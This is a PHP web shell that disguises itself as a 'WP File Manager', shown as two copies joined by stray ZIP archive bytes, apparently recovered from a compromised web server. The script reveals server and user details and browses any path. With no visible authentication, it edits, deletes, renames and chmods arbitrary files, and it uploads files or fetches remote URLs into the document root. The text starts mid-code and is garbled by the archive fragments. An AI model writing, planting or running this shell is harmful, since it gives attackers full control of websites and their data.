'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëenis@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
